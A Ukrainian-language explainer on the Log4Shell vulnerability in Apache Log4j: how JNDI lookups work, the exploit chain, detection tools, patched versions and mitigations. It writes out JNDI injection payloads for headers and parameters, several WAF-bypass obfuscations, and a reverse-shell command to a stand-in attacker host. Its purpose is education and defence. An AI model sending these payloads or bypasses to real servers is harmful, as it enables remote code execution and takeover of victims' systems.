Log4Shell (CVE-2021-44228): як одна рядок коду зламала інтернет
Передмова
9 грудня 2021 року дослідник безпеки Chen Zhaojun з Alibaba Cloud опублікував PoC до вразливості CVE-2021-44228 в Apache Log4j — найпопулярнішій Java-бібліотеці для логування. Протягом 72 годин її почали масово експлуатувати сотні груп зловмисників. Cloudflare зафіксував понад 1 млн спроб експлуатації в перший день.
CVSS Score: 10.0 / Critical
Що таке Log4j і чому вона всюди
Apache Log4j 2 — бібліотека логування для Java. Використовується практично в кожному Java-проекті: від серверів Minecraft до систем Cisco, VMware, Elasticsearch, Apple iCloud і тисяч інших продуктів.
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger log = LogManager.getLogger(App.class);
public static void main(String[] args) {
String userInput = args[0];
log.info("User connected: {}", userInput); // вразливий рядок
}
}
Механізм вразливості
Log4j підтримує Message Lookup — можливість підставляти динамічні значення в рядки логів через синтаксис ${prefix:name}.
Легітимні приклади:
${java:version} → Java version 11.0.13
${env:HOME} → /home/user
${sys:os.name} → Linux
Одним із підтримуваних lookup'ів є JNDI (Java Naming and Directory Interface) — механізм пошуку ресурсів у мережевих директоріях.
Вразливий lookup:
${jndi:ldap://attacker.com/exploit}
Коли Log4j зустрічає цей рядок при логуванні — він автоматично виконує LDAP-запит до attacker.com і завантажує Java-клас з відповіді. Цей клас виконується на сервері жертви.
Exploit Chain
1. Атакуючий відправляє payload у будь-яке поле яке логується:
User-Agent: ${jndi:ldap://attacker.com:1389/exploit}
2. Сервер логує запит через Log4j:
log.info("User-Agent: {}", userAgent); // виконує JNDI lookup
3. Log4j робить LDAP-запит до attacker.com:1389
4. Атакуючий LDAP-сервер відповідає посиланням на Java-клас:
javaClassData: malicious.Exploit (на attacker.com:8888)
5. JVM жертви завантажує і виконує malicious.Exploit:
Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'");
6. Атакуючий отримує reverse shell
Де підставляти payload
Будь-яке поле яке потрапляє в логи:
GET / HTTP/1.1
Host: victim.com
User-Agent: ${jndi:ldap://ATTACKER:1389/x}
X-Forwarded-For: ${jndi:ldap://ATTACKER:1389/x}
X-Api-Version: ${jndi:ldap://ATTACKER:1389/x}
Authorization: Bearer ${jndi:ldap://ATTACKER:1389/x}
Referer: ${jndi:ldap://ATTACKER:1389/x}
Параметри запиту:
https://victim.com/login?username=${jndi:ldap://ATTACKER:1389/x}
JSON body:
{"username": "${jndi:ldap://ATTACKER:1389/x}"}
Обхід WAF фільтрів
WAF-фільтри намагались блокувати ${jndi:, але з'явились обходи:
# Вкладені lookup'и
${${lower:j}ndi:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
# Обфускація через upper/lower
${${upper:j}ndi:${upper:l}dap://attacker.com/x}
# Через env lookup
${${env:NaN:-j}ndi:${env:NaN:-l}dap://attacker.com/x}
# Підстановка коментарів
${j${::-}ndi:ldap://attacker.com/x}
# Unicode
${j${lower:n}di:ldap://attacker.com/x}
Перевірка наявності вразливості
DNS callback (найбезпечніший спосіб)
# 1. Отримай унікальний URL на interact.sh або Burp Collaborator
# 2. Підстав в payload
payload='${jndi:ldap://UNIQUE.interactsh.com/test}'
# 3. Відправ у всі поля і чекай DNS callback
curl -H "User-Agent: ${payload}" https://victim.com/
Інструменти
# log4j-scan — автоматичний скан
python3 log4j-scan.py -u https://victim.com
# Nuclei template
nuclei -u https://victim.com -t cves/2021/CVE-2021-44228.yaml
Реальні атаки 2021–2022
- Cryptominers — перші масові атаки в перші години після публікації
- Cobalt Strike — розгортання C2 агентів на вразливих серверах
- Ransomware — групи Conti, Khonsari почали використовувати через тиждень
- APT групи — іранські (Charming Kitten), китайські, північнокорейські актори
- Lazarus (КНДР) — атаки на aerospace і оборонні компанії
Вразливі версії і патчі
| Версія Log4j | Статус |
|---|---|
| 2.0-beta9 – 2.14.1 | ВРАЗЛИВА (CVE-2021-44228) |
| 2.15.0 | Часткове виправлення (ще вразлива в деяких конфіг.) |
| 2.16.0 | Виправлено CVE-2021-44228, але є CVE-2021-45046 |
| 2.17.0 | Повністю виправлена |
| 2.17.1+ | Рекомендована версія |
| 1.x | End-of-life, має власні вразливості |
Перевірка версії:
find / -name "log4j*.jar" 2>/dev/null
find / -name "*.jar" -exec jar tf {} \; 2>/dev/null | grep log4j
Тимчасовий mitigation (якщо не можна оновити):
# JVM аргумент (Log4j 2.10+)
-Dlog4j2.formatMsgNoLookups=true
# Environment variable
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
# Видалити JndiLookup клас з jar
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Висновки
Log4Shell показала три системні проблеми: 1. Supply chain: одна бібліотека в тисячах продуктів → мультиплікаційний ефект 2. Feature creep: lookup-інтерполяція в логах — зайва функція з катастрофічними наслідками 3. Patch lag: навіть через місяць після публікації мільйони серверів залишались вразливими
Урок для розробників: ніколи не виконуй мережеві запити при обробці довільних рядків з зовнішніх джерел.